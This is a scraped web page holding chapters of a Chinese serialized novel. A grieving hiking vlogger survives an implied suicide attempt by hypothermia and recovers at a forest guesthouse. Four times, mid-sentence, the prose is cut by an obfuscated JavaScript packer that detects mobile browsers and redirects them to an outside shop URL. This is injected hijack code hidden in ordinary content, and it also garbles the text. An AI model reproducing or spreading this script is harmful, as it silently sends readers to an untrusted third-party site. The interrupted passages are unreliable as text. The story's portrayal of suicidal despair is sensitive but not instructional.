出发前一天,编辑打来电话,说主编一票否决了你最新完成的关于徒步经历的作品,让你取回U盘和纸质稿件另投其他出版社。你留了丝雨绣坊的地址,跟编辑说发运费到付的快递。 姐姐担心你,她不愿看你连续受到两次精神打击还要继续身体上的苦修。 你笑着说没事,姐,我能承受得住。 夜里睡不着,你披衣坐起。院子里那棵梨树下,是你为棉花糖搭建的花冢。你洒下许多勿忘我的花籽,希望棉花糖能够记住回家的路。 搬个小凳子坐在梨树下,冷风一吹就是半宿。天蒙蒙亮时,你添了胸口痛的毛病,冷热交替或是受凉必会发作。你没告诉姐姐,也没再去医院做检查。 一路上你步履如飞,平均日行五十公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029564|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 作为有经验的户外徒步博主,这一回你选择了安全系数高、道路平坦不费力的路线。风格的转变,粉丝们都能理解。以前你带着棉花糖,经常去一些人烟稀少的荒凉之地探险,而这次的冷极之旅,你只想尽快抵达目的地,尽可能压缩行程时长。直播时你关闭了打赏,大家看着你不停地走啊走,都明白这是惟一能疗愈你心理创伤的方式。 而此时此刻,你选定机位,拍下日落的美景。 不知不觉,林间起雾了。你心情平静,按照和以往相同的步骤开始做饭、拍摄素材。 今天的晚饭我想吃老家的美食。你对着镜头说,条件有限,我做一道洋芋擦擦野人简化版。 你耐着性子将土豆擦成细丝,拌入鸡蛋、面粉、花椒粉、盐、鸡精,先是隔水蒸熟,而后用葱丝姜片炝锅,再把处理过的土豆丝放进锅里煸炒。火候大了,你望着焦糊的土豆丝,心中豁然开朗——棉花糖有一次陪你烤火,雪白的尾巴不小心被燎焦半边,跟眼前这道不太成功的洋芋擦擦十分相像。 它在向你发送信号。 是时候了。你对着镜头说,该出锅了。 炒焦的洋芋擦擦异常美味。你吃得盘干碗净,一点也没浪费。 你将这段未经剪辑的做饭视频上传至个人账号,点赞量很快破两万。有粉丝在评论区问你晚上是否直播,你回复他今晚不直播,走了一整天有点累,晚上想多睡几个小时调整一下状态。 评论区盖起高楼,粉丝的关心几乎扰乱了你的心神。 你退出账号登录,把手机调成静音。 沿着附近的密林搜寻了一大圈,你拾回来几公斤树枝。篝火燃起的瞬间,你胸口隐隐作痛的感觉消失了。 让火先烧着,等它慢慢熄灭吧。 天彻底黑了下来。 你走进帐篷,象征性地打开收纳整齐的睡袋。你没有按照惯例拍摄睡前向粉丝道晚安的素材,而是径自躺在并未铺防潮垫的空地上。 地面积雪的寒意,透过帐篷的牛津底布,一丝丝渗进你的皮肤。 你不怕冷。 帐篷外的篝火仍在燃烧。树枝被火舌炙烤,偶尔发出噼啪的声响。 你坐起来,脱掉冲锋衣、抓绒衣和加绒软壳裤。六年前,棉花糖两岁的时候,它陪你在寒冬天气战胜了不慎落入冰湖差点溺水的惊险。那时的你和它,在背风的山石边上守着一团篝火,等待衣服鞋子慢慢烤干。 历历在目的情景,仿佛发生在昨天。 我最真挚的朋友棉花糖,等着我。 恍惚中,你睡着一小会儿。帐篷外的天色有些发白,也许日出的时间快到了。篝火渐渐熄灭,你却不觉得冷,体感温度甚至有些燥热。 你脱掉贴身的速干衣裤,重新躺回睡袋之外的冰冷地面。 在温暖如春色彩绚丽的幻象花园中,你沉沉睡去,耳畔是让你安心的棉花糖的呼噜声。在一阵剧烈晃动中你极不情愿地醒来,大脑却无法作出正确的反应。 是谁? 眼前这个女人究竟是谁? 5. 第五章 你没有立刻回答他的问题。 他注视着你,冰冷的目光中并无期待答案的意味。你读懂了他的真实想法,或者说,你察觉到他遭受过严重的心理创伤。 暂时忽略对方的提问,你转向罗亦柯:“小柯,你手机没电关机,怎么打的网约车?” 罗亦柯挠挠头:“车是墨哥打的,多亏你把他的手机交给救护车跟车医生,要不我们手头连个通讯工具都没有。对了,小姨,郭师傅这车突发故障,你帮忙叫拖车吧!那天我从长途汽车站来春夜雨声,坐的就是郭师傅的车。” 你从羽绒服口袋里掏出充电宝,让罗亦柯赶紧充电。 和司机师傅简单交流几句,你得知他的手机也被冻没电了,所以一行三人在你到来之前正在商量去哪里找人帮忙。 日渐西斜,周围气温陡然下降。事不宜迟,你联系了在林场值班的孟楚晨。这孩子与赵思忱同岁,四年前回到林场工作,目前已经独当一面了。 “晨晨,积雪结冰了路不好走,要是找市里的拖车恐怕明天才能来,只能麻烦你跑一趟。” “不麻烦,小月姐,我这就赶过去。” “我看这天色,夜里可能还有一场雪,你路上注意安全。我先带小柯和他朋友回春夜雨声,有事你随时打我手机。” “嗯,知道了,我办事你放心!” 这不是赵思忱时常挂在嘴边的话吗?你不禁笑了,两个名字是同音字的孩子,性格一样,连口头禅都是复制粘贴。 你把一副围巾手套和你的备用充电宝留给司机师傅,另一副围巾手套递到小柯朋友面前。 “谢谢,我不需要……” 他语气生硬的拒绝被罗亦柯及时打断:“哎墨哥,你都冻得脸色发白了,怎么还那么犟?”罗亦柯从你手中接过围巾手套,毫不迟疑地为他戴好。“瞧瞧,这样穿才暖和!” 你一转头,恰与男人对上视线。 罗亦柯说得不够准确。他这位牛人朋友,脸色不是冻白的,而是本身皮肤就白。宝蓝色粗线针织围巾,围在男人脖颈间,加上墨绿色针叶林和白色雪地的背景,像是你看过的油画作品,简单的构图和色彩,却蕴藏着浓重的悲伤情绪。 “郭师傅留在这儿等拖车,你俩和我回民宿休息。” “你还没回答我的问题……” 男人后半句话又被罗亦柯打断了:“墨哥,我的好大哥,你不怕冷不代表我也不怕冷。如果我冻感冒了,不光小姨心疼,我妈我爸心疼,就连我们教练,都要心疼地骂我三天三夜。” 你忍不住笑出声:“这孩子越长大越贫嘴,朱教练对你多好啊,背后编排人家。”转头看看脸色愈发凝重的男人,你说:“走吧,到了我的地盘,你必须听我的。” - 推开民宿大门,赵思忱欣喜万分地迎上前,告诉你下午办理入住的客人里有一位旅游赛道的大网红。 “姐姐,她有五百多万粉丝!凡是她推荐的旅游城市、景点和酒店民宿,客流量都能猛增。春夜雨声这次一定能爆火!” 你连忙摆手:“我这儿接待能力有限,爆火不一定是好事。” 罗亦柯听得云里雾里,同时不忘引荐自己的朋友:“五百万?没我墨哥的粉丝多。来,忱忱,还有磊叔,我给你们介绍一下,这位是我的至交好友——江子墨,徒步界最牛的大佬!” 曹磊走过来,主动与男人握手:“幸会,我佩服你的铁脚神功。” 赵思忱嘴巴张得老大,下颌几乎脱臼才醒过神:“我的老天鹅,今天是怎么回事,我不是做梦吧?才半天功夫,我就见到了两位顶级网红……”她眼睛睁得溜圆,拿出自己的手机,小心翼翼地问:“恕我眼拙,子墨大佬,救护车上我愣是没认出你。我知道你从来不跟女粉丝合影,那我能给你拍张照片吗?在医院的时候你还没醒,没征得你同意拍照不礼貌,现在可以吗?” 始终保持沉默的江子墨终于开口说话,不过说出口的依然是拒绝:“改天吧。” 赵思忱悻悻地收起手机,抿着嘴唇不再吭声。 你适时递上房卡,为江子墨指引房间的位置:“309,上到三楼,右手边朝北第三个房间。床品水杯烧水壶都是全新的,你好好休息,晚饭我让小柯给你送到房间里。” “谢谢。”江子墨接过房卡,头也不回地上了楼。 罗亦柯一点不耽搁,紧随其后跑上楼梯。在三楼平台转角处,他忽然回头,朝你比了个OK的手势。 你也回他一个OK。这是你们之间的默契。 曹磊和赵思忱都没看明白什么意思,目光齐刷刷对准了你。 “磊哥,忱忱,到我房间来,我有事和你们说。” 进了房间,你先是席地坐下,搂住侧躺在地毯上打盹儿的悠悠,随后你示意赵思忱关门。 “怎么了,姐姐?我看你脸色不太对劲。” 曹磊也有同样的感觉:“是啊,小月,一进门我就发现了,你像是有心事,但是当着罗亦柯的面又没法明说。” 好友们的观察力和你同样敏锐。 你拿起珊瑚绒毯,盖在吹了冷风的膝盖上,略作思忖,把你的猜测说了出来:“磊哥,你有没有看过荒野求生类型的节目,综艺或是纪录片?” “偶尔刷到一些,我都是直接跳过,没耐心看完。” “今天咱俩搬运小柯朋友的露营装备,他脱下来的衣服裤子怎么摆放,你还有印象吗?” 曹磊仰起头,努力搜寻记忆片段:“冲锋衣在最底下,叠成四方块。抓绒衣和软壳裤摞在冲锋衣上面。速干衣团成团,胡乱扔在睡袋边上。” 没错,你第一次走进帐篷时,除了贴身衣裤,其他外套和保暖衣全部摆放整齐。曹磊的观察力已经很棒了,无需观看野外生存节目也能胜任整件事情的分析。 “厨具和碗筷呢?磊哥你记得它们是什么状态吗?” “放在帐篷一角。锅应该是用帐篷外的雪清理的,锅底有残留没融化的雪粒。碗筷收进塑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029565|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料盒,我直接装进登山包,没仔细看是脏的还是干净的。” “这些信息够用了。” 赵思忱的表情和她头上戴的发箍一模一样,有许多的问号:“我听糊涂了,姐姐,你能说明白点吗?” 你起身来到窗边,低声道出你的推测:“人在感到绝望的时候,勇气比平时翻十倍,甚至百倍。我想不通的是,决定抛弃一切的人,他怎么还有精力叠好衣服、清洗餐具?” 曹磊被你的结论吓住了:“小月,饭可以乱吃,话不能乱说。” 赵思忱也怕冷似的打了个寒颤:“不会的,姐姐你想多了,千万粉丝网红,巨大的流量,泼天的富贵,怎么可能有那种念头?” 你望着后园种满蔬菜的温室大棚,说:“那里以前种了一棵树,好像是李子树吧?我不记得了。老夏走的那年,树无缘无故倒下去了。柱子哥说树根烂了,不是沤烂的,也不是白蚁,总之很奇怪。我整晚整晚失眠。有天夜里电闪雷鸣,我索性走到外面,就那么站在雨里,恳求大雨把我带走……” “别说了,姐姐,别说了!”赵思忱冲过来,紧紧抱住你,“打垮你的东西,这个世界上根本就不存在,你要好好的,别胡思乱想好吗?” “我没事。”你轻拍赵思忱的手臂,“我是想用我的亲身经历还原小柯朋友失温昏迷前到底经历了什么。” “人救回来就万事大吉了。至于前因,没必要探究。” 说完,曹磊抬起手,抹了一把脸,但他眼角的泪痕被你看在眼里。 “磊叔言之有理。”赵思忱仍然紧紧抱着你,“这事别跟罗亦柯说,他过几天归队参加WTT冠军赛,影响他成绩可不行。” “我同意。”曹磊先一步伸出手,“咱们仨保守秘密。” 赵思忱侧过身,左手紧紧抓住你的右手。一瞬间的工夫,你们三人的手就叠在了一起。 你笑了,虽然心情并不轻松。 “好,一言为定。刚才那些话不只对小柯保密,还要对除了咱仨之外的所有人保密。” 赵思忱拉着你的衣袖,毫不客气地擦拭她沁满汗珠的鼻头。正擦得起劲,手机突然铃声大作。 “说曹操,曹操到。”她把屏幕举到你面前,“我亲爱的舅舅来电。” “接电话吧,我去厨房准备晚饭。”你朝曹磊使个眼色,“磊哥帮我去地下室冰柜拿两块牛肉,顺便捎几个土豆和紫洋葱。” 赵思忱忙不迭地问:“哇,又吃牛肉面吗?” 你忍俊不禁:“土豆烧牛肉吃不吃?再加一道铁板牛柳怎么样?” “姐姐你是我的厨神!”赵思忱摁下免提,对着手机大喊,“舅舅你听见了吗?你得租一辆火箭速度的车,速度慢了赶不上美味的大餐。” 关门时,你问赵思忱:“程燃买了哪天的车票?” “就是今天的,这会儿他快下火车了。”小女孩藏不住一点心事,“好姐姐,给我舅舅留饭,他说顺利的话,十二点前一定能到!” 6. 第六章 尚未完全清醒的状态下,你对外界的感知力仅剩五成。脖颈左侧和大腿根忽然变暖,随即一团温暖轻柔的浅紫色包围了你。 耳边依然嘈杂。 你能听见她急促的说话声,却看不清她的脸。 温热的血液在血管中奔涌。渐渐的,你周身不再像昏睡前那么冰冷,胸口也暖了起来。 不知过了多久,你整个身体漂浮在了半空。耳畔噪音交织,有人们的交谈声,还有仪器的滴滴声。 再次醒来,你已经躺在县医院的抢救室。视线对焦,你看到病床边站着的是你最忠实的粉丝罗亦柯,另一边是两个陌生女人。 医生的医嘱像是从极为遥远的地方传来,你听了几句眼皮就开始打架。闭上双眼的前一秒,你看清身上盖着一件浅紫色的羽绒服。大脑疾速运转,你对这种色彩的印象,在和她又见面时再次加深。 怎么会有人这么喜欢紫色? 她缓步下坡,走到你和罗亦柯面前,穿的是那件曾盖在你身上的浅紫色羽绒外套。 帽子是香芋紫,围巾和手套是薰衣草紫,裤子是烟紫,还好雪地靴是浅卡其色,否则你真的要怀疑她是不是山里跑出来的紫色精灵了。 她处理问题的效率和你有的一拼,不到三分钟就联系好了拖车。当她把崭新围巾手套递给你的时候,你拒绝了她的好意。罗亦柯打起圆场,不管你是否情愿,他都按照他小姨的意思,为你穿戴好了保暖装备。 返回民宿的路上,你凝望她的背影,不经意发现她右腿膝盖的旧伤影响了她的步态。 她双脚踩在雪地里的脚印,很明显深浅不同。 罗亦柯说他小姨是个半马爱好者,从他记事起小姨参加了十多次半程马拉松比赛,收获的奖牌和纪念品占了半边书柜。 你注意到她的运动损伤,却不知如何提醒她。毕竟你意气用事,刚刚问了两个毫无意义的问题,又因为她强势的命令般的讲话方式而恼火,你最应该表达的感谢堵在胸口,说不出口也咽不回去。 如鲠在喉。 好在她不计前嫌,回到民宿的第一件事,是给你房卡和提前告知晚餐会送到房间。 姐姐常说,人要有一颗感恩的心。滴水之恩,涌泉相报。你的记忆没有丢失。前天日落时分你的所作所为、所思所想,和昨天清晨你经历的一切,此刻如同带刺的藤蔓,牢牢缠裹着你的心。 胸口的疼痛感又回来了。 进入房间,罗亦柯贴心地帮你接了一壶水,摁下烧水键。“墨哥,你徒步这些年,肯定喝过很多地方的水吧?林场这里是深水井,矿物质多,烧开以后会有一层白色水碱,不过口感是好的,你沉淀沉淀再喝。” “费心。”你换下外套,还给罗亦柯,“谢谢你的训练服,比我买的冲锋衣暖和。” “不用跟我客气,墨哥,衣服你先穿着!”罗亦柯退到门口,“我小姨做事细致,你留在山上的装备,她都放在一楼大厅了。估计晚饭后她会主动问你要不要洗衣服,到时你俩好好聊,增进一下对彼此的了解。” 你垂下眼帘,轻轻说了声好。 罗亦柯关上门,你本想直接躺下休息,却瞧见门后挂了换洗衣服,旁边贴着一张紫色便笺。 走进一看,是她的提醒。 “未经你许可,我洗了帐篷角落的这几件衣服。贴身衣裤已经烘干,冲锋衣挂在顶楼东侧晾晒区,如有需要,可以联系我帮你送回房间。” 便笺纸右下角,标注着她的手机号码。 你取下速干衣和便笺,将它们放在床头柜上。等水烧开的间隙,你走进卫生间,查看热水器水温。不出所料,浴室柜镜子一角也贴着紫色便笺。 “温馨提示:入冬以来水泵经常罢工,水压不稳,洗澡时可能忽冷忽热。民宿电路上次维修是四年前,安全起见,一定要拔掉插头再洗澡。” 你紧绷的神经忽然轻松了不少。 来到窗边,你拉上窗帘开始脱衣服。低头的刹那,你发现枕边也有一张便笺。 “被子下面开了电热毯,加绒加厚的浴袍在里面保着温,如有需要,请随意取用。” 你掀开被子,果然有件淡青色的浴袍,已被电热毯烘烤得暖意融融。 老板心思细腻服务周到,她的每个提醒都自然又贴心。 转过身,写字桌上的梳妆镜映出你由心而发的笑。很久没有这么放松了。烧水壶发出嗡鸣声,你晾了一杯白开水,将温暖的浴袍抱入怀中,不疾不徐地走进浴室。 哗哗水声响起,你眼前掠过一个白色的影子。 你连忙关上花洒,拿起毛巾擦脸,呼吸不受控制地变得急促。水温是正好的,但你适应不了水流冲击皮肤的感觉。 棉花糖走得很痛苦。 你带着它小小的僵硬的身体,走了五家宠物医院。不同的医生给你出具的鉴定结果完全一致——溺水窒息。 粉丝想要的真相,公众关切的目光,对你而言全都不重要。 棉花糖鲜活的生命,它八年来的陪伴,骤然消失在你生命里…… 随手搁在门口矮桌上的手机忽然响了。 你穿上浴袍走过去接听。 电话是姐姐打来的。 “子墨,你是不是遇上什么事了?昨天一天和今天上半天我打你手机,怎么都打不通。” “我好着呢,姐,你放心。” “我不放心——”姐姐语速飞快,“你前天发的视频我看了,脸色怎么那么难看?你把你的位置发给我,我得尽快把你接回家!” “我真没事。”你试图圆谎,“前天晚上山里下了大雪,我有点感冒,实在扛不住了就找了间民宿,休整三四天再继续往根河走。” “我不信,除非你打视频。” “我这就拨回去。”你挂断电话,坐回床边,深呼吸好几轮才回拨视频,“姐,你看,房间还不错吧?老板说这是整栋民宿最安静的一间房,我本来在洗澡,你一个电话我就冲出浴室,差点滑个大跟头。” 姐姐眉头深锁,眼神中闪烁着疑惑:“你确定这是真的民宿?不是你开虚拟背景唬我?” 你故作一副无语问苍天的表情:“千真万确的真,不信我带你参观外面走廊……” 扎紧浴袍的腰带,你拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029566|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开房间门,正要迈步,脚边突然扑上来不速之客。一只酱油毛色的金毛犬,在你面前趴下,将它的下巴搭在你的脚背上。 呼唤声由远及近飘进你的耳朵:“悠悠,悠悠!你跑到三楼干什么啊?” 她出现在楼梯口。 你一动不动,唯恐做错动作被金毛犬咬一口。你从小就怕狗,被邻居家的大黄追得满院子跑,也被亲戚家的泰迪咬过小腿,虽说过去二十多年了,但狗这种动物给你造成的心理阴影,久久未能消失。 看见你和金毛犬的僵持,一袭紫衣的她急忙冲上前,把手里的口笼戴在金毛嘴筒上。 “对不起,吓到你了吧?” 你努力平复着狂乱的心跳,尽可能表现得松弛:“小事一桩,它没咬我。” 下意识的恐惧总是脱口而出。除了姐姐、亲戚和邻居,其他人对你怕狗的秘密毫不知情。最脆弱的样子被她看见,你只觉后背冷汗直冒,而手机那头,姐姐担心的问话一声盖过一声。 “子墨,子墨!你怎么了?摄像头看不清,你还好吗?” “我没事,姐,稍后再说。”你匆匆挂断视频,面朝牵着金毛犬准备离开的她,“等等……我还不知道你的名字。” “那就正式自我介绍一下吧。”她伸出右手,“江念月,春夜雨声掌柜。” 你轻握她的手,她的掌心是如此的温热,就像你身上这件烘烤过的浴袍。“江子墨,我的网名是‘徒步行者’。”你迎上她的目光,“谢谢你救了我一命,我……” “小柯的朋友就是我的朋友,报答之类的话不要说了。”她及时截断你的话头,“你现在需要好好休息,待会儿吃过晚饭你把手机充上电,门反锁,踏踏实实睡到自然醒。” “房费你按正常价格收,别给我打折。” 话音未落你就想揍自己一顿,干嘛非要在这个节骨眼提房费的事啊? 她显然愣了,一时语塞。 你连忙退回房间:“对不起,我情商堪忧。” “没什么。”她回过神,抬手指着床头柜的方向,“抽屉里有体温计和退热贴,你的样子好像有点发烧,量个体温吧。” “谢谢提醒,我马上量。” “量好了告诉我,如果发烧了,我第一时间联系林场医务室。” 你没有关门,她站远一点等待测量结果。 几十秒后,电子体温计发出嘟嘟嘟的警报声。你拿出来一看,39度7。 她听见了提示音,并没问你具体的读数,而是立刻拨通林场医务室的电话,向值班医生求助。 “雪姐,我是小月。春夜雨声入住了一位发高烧的客人,民宿这边没有退烧药了,你能赶过来帮他输液吗?是的,是他,前天在云杉树下获救的露营者……” 你眼前一黑,整个人从床边滑落在地。 不知怎的,四周的世界忽然开启旋转模式,犹如你逛大集见识过的非遗走马灯,缤纷的画面逐帧在你视野中翻飞跳跃。 “醒醒,别睡!” 你耳边响过四个字,急促而遥远。几秒过后,倦意排山倒海般将你彻底淹没。 7. 第七章 江子墨晕倒得非常突然。 你一时措手不及,只得稳稳托住他的头,用左肩支撑着他半边身体不让他倒在地上。 还好悠悠及时过来帮忙。尽管它行动已经非常迟缓,却在关键时刻叼来毯子和枕头。你腾出一只手,把枕头垫在江子墨脖颈后面,毯子则用来包裹他裸露在浴袍外的双腿。 你注意到他脚上遍布的老茧和新磨出来的血泡。 每天行走五十公里,任谁也不能保持脚部的健康和完好无损。 自从昨天点开罗亦柯发来的链接,你按时间顺序观看了近三十条江子墨的视频。徒步八年,他的足迹跨越大半个中国。这次挑战冷极之旅,应该是他走过的最艰难天气条件最差的一条路线。 罗亦柯建议你先看小猫棉花糖出现之后的视频,你没有听取他的建议。 是的,你就是这么固执。 已知结局是悲剧,却要从开头重温一遍剧情,你觉得以你目前的心理承受能力,没法坚持着看完棉花糖出镜的全部视频。 缓了口气,你摸摸悠悠的脑袋瓜。 “宝贝,你能不能去隔壁房间把小柯叫来?” 悠悠轻哼一声,行动虽慢却漂亮地执行了你的指令。罗亦柯不知道发生什么事,跟在悠悠身后走进309房间。 “小姨,你找我?”看清陷入昏迷的江子墨,罗亦柯手里的手机砰的一下掉落在地,“怎么搞的,墨哥怎么又晕了?天哪,小姨,我打120……” “高烧引起的昏睡,你先去找忱忱,让她去一楼厨房冰箱冷藏室拿包紫苏叶,帮我送过来。” “我去拿!” 罗亦柯转身要走,你连忙叫住他:“你的任务是穿好外套和靴子,去民宿外面帮我迎一迎萧医生。我给她打过电话,她这会儿快到了。” “明白,保证完成任务!” 噔噔噔的脚步声远去,你周身的力气也恢复了不少。复刻以前照顾老夏的经验,你屈膝蓄力,把江子墨从冰凉的地板转移到了温暖的床上。 电热毯的档位调至保温档,你把厚棉花被换成轻盈的春秋被,帮他盖在身上。你小声嘱咐悠悠待在原地不要乱跑,紧接着重新烧了一壶开水,又去卫生间找了两条干毛巾,放在床头柜上备用。 赵思忱冲进房间,举着紫苏叶径直跑到你面前:“姐姐,我拿来了,需要我做什么吗?” “你洗十片紫苏叶,打开水壶盖子煮水,全程盯着不要走开,等水变成黄褐色再拔插头。”你忽然想起晚饭只处理了食材,杂粮粥没煮,面点也没放进蒸箱,“忱忱,这样吧,我看着烧水壶,你帮我把曹磊喊来,他手机关机打不通。” “OK!” 赵思忱一溜烟跑远。她矫健的身姿和她小时候坐在轮椅上发脾气的模样悄然重叠。你心生感慨,程燃把忱忱照顾得很好。算起来你们有六七年没见面了,不知今晚程燃会以怎样的方式闪亮登场。 曹磊睡眼惺忪地出现在309门口,一问即问出了你心中所想:“看这情况,今晚换我掌勺?” “不,大厨还是我。”你说,“萧医生很快就到,照顾病号的任务归你和小柯。” 赵思忱忙不迭地问:“我呢?姐姐,我帮你打下手吧?” “忱忱任务不变,负责前台接待和应急响应。”烧水壶里的紫苏水熬好了,你切断电源,倒进瓷杯,“磊哥,等会儿江子墨醒了,你把这杯水拿给他喝。” 话音刚落,床那边传来动静。 江子墨想要坐直身体,怎奈尝试失败,脸色愈发苍白。曹磊赶忙上前,扶他起身:“兄弟,别嫌我唠叨,你不该急着出院。县医院医疗条件比林场好多了,天气预报今晚强降雪,大雪封了山,积雪半米深,咱们想下山都难。” “我……”江子墨嗓音嘶哑,“我给大家添麻烦了。” 你岔开话题:“紫苏水刚煮好还很烫,晾一晾再喝。磊哥,床头柜抽屉里有退热贴,你按照说明书给他贴上。”转头给赵思忱使个眼色,你说:“下楼吧,顺手把门关好,挂上免打扰的牌子。” 赵思忱瞬间听懂了你的弦外之音。 下到一楼,她猛地抓住你的右胳膊:“不愧是你,我最喜欢最喜欢的小月姐!你人品好,性格好,待人接物谦逊有礼,厨艺又那么精湛。假如……” 你被她调皮的样子逗笑了:“后面的话千万别说,要不我取消你的住店资格。” “哦,不说就不说。”热情遭到打击,赵思忱立马切换到无精打采的模式,她松开你的手,走回吧台,“现在没客人,我可以玩会儿手机吗?” “可以。” 说完,你想起地下室有一台落满灰尘的输液架,大概率还能派上用场。 电饭煲和蒸箱设定好程序,你去地下室搜寻一圈,终于在堆在角落的防雨布底下找到了输液架。 曹磊和悠悠不知何时出现在你的身后,你压根儿没听见他们的脚步声。 “吓我一跳——”你轻抚胸口,“磊哥你走路没声音的。还有你,悠悠,昨天你喘得厉害,我拿药给你吃你不高兴,今天呼吸声倒是没那么重了。” “萧医生带了便携输液架。”曹磊提醒你,“这个旧架子别动它了。” “也好。”你拍拍手心的尘土,“表面生锈了,我正发愁能不能擦干净呢。” “小月,我和你一块儿做饭吧?十几张嘴等着开饭,你一个人忙不过来。”曹磊说,“江子墨那里有萧医生和小柯照顾,我闲着也是闲着。” “行,咱们去厨房。”你俯身,对悠悠发布指令,“宝贝乖,你回房间休息,盖好毯子别着凉。” 悠悠应声而去。 曹磊走在你前面,上到楼梯最后一级,他忽然回过头。 “你还想他吗?” “想。无时无刻不在想。”平静的语气,平静的心情,只有你能感受到这份想念多么刻骨铭心。 “该忘了,小月。”曹磊轻叹一声,“十九年,人一辈子能有几个十九年?” “别劝我。”你说,“我这人很犟,磊哥你是知道的。” 曹磊抹了把脸,或许是在擦眼泪吧? “正因为我了解你,所以我才担心。” 你笑了:“若南姐也说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029567|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过同样的话。你们都是为我好,我记在心里。但是以后不要再劝我了,我叛逆期永远都在线,永远听不进去。” 曹磊噗嗤一声乐了:“你啊,叫我说你什么好呢?” “那就少聊天多干活。”你指了指厨房的方向,“走吧,做饭去!我一切洋葱就眼泪汪汪,这个艰巨的任务必须交给你完成!” - 萧医生经验丰富,很快发现江子墨高烧是左脚伤口细菌感染引起的。对症的药液输完,江子墨的体温回到正常值。 “我开三天的口服药,按剂量吃就行。外用消炎药膏每天涂抹三次,五天一疗程,换药同时换纱布,保持伤口干燥。”萧医生边开处方边对你说,“小月,你每隔两小时监测一次他的体温。” “没问题,雪姐。” “口服退热药间隔四到六小时服用一次。刚才输的液体,能挺到后半夜。”萧医生把药盒递到你手中,“这药刺激肠胃,空腹不能吃药,别犯你犯过的错误。” “知道了,我吃一堑长一智。” 曹磊自告奋勇送萧雪医生回去,你留在309看护江子墨。罗亦柯抽空快速吃完饭来交班替你,却被你拒绝了。 “小柯,你帮我问问忱忱,她舅舅坐的火车几点钟到站?顺便帮我转告她,要是时间太晚就让程燃在火车站附近住下,明天天亮了再来春夜雨声。发信息太慢,辛苦你楼上楼下跑一趟。” “收到!” 罗亦柯飞速下楼。不出一分钟,又飞速跑了回来。 “小姨,忱忱不在前台。她留了张纸条,你看,她说程叔叔已经快到了,她暂时走开出去接人。” 你的心不由得揪得很疼。 山林不比城市,下雪的夜没有充足的照明,危险无处不在。 “小柯,你留在这儿照顾你朋友。忱忱一个人走山路不安全,我得陪她一起。” “你不放心忱忱,我不放心你。”罗亦柯走到床边,抱歉地说,“墨哥,我陪我小姨,你先休息,我尽快赶回来。” 江子墨说:“你们赶快去找朋友,带齐装备,注意安全。” “体温计和药都在这儿了,过两小时我们要是没回来,你记得量个体温。”你把药盒放回床头柜,转身正要离开,左手手腕忽然被他握住。 只轻轻一下,江子墨立即松开了手。 “我的灰色登山包,外面第三道拉链里有个强光手电筒,充满电的,最远射程三百米,你把它带上。” 你点点头:“好。” 掩上房门,罗亦柯没头没脑问了一句:“小姨,墨哥合你眼缘吗?” 你没搭理他,径自下到一楼大厅,找到江子墨推荐的手电筒。麻利地穿好外套和防水雪地靴,你朝站在楼梯口发愣的罗亦柯招招手,示意他马上出发。 推开大门,一阵风吹过,头顶上方的风铃叮叮咚咚。 你刚摁下手电筒开关,不远处就有人抗议:“姐姐,太刺眼啦!” 与赵思忱清脆的嗓音交织在一处的,是程燃浑厚的男中音:“别听她的,小月,有你帮我们照亮,这条路好走多了!” 8. 第八章 江念月和罗亦柯关门离开,房间恢复安静。 退热药起了作用,你出的汗打湿浴袍,很想换一件干爽的衣服。强撑着坐起身,你瞅见床头柜上多了一张新的便笺。 “门后衣柜有两件厚浴袍可供替换。走路要小心,别碰到左脚的伤口。” 按照指引换上干净浴袍,你叠好汗湿的浴袍放在门边矮桌上。又喝下一杯紫苏水,你走到窗前向外看。 你从罗亦柯口中得知,春夜雨声所在的楼房建于1970年,曾是护林员的办公地点和物资补给站,后因这栋五层小楼楼龄太久,林场将其折价卖给当时最后一班值守的护林员,也就是江念月丈夫的姥爷。再后来,这栋楼作为遗产由江念月继承接管。 罗亦柯说,他的小姨是世界上最能干的人。 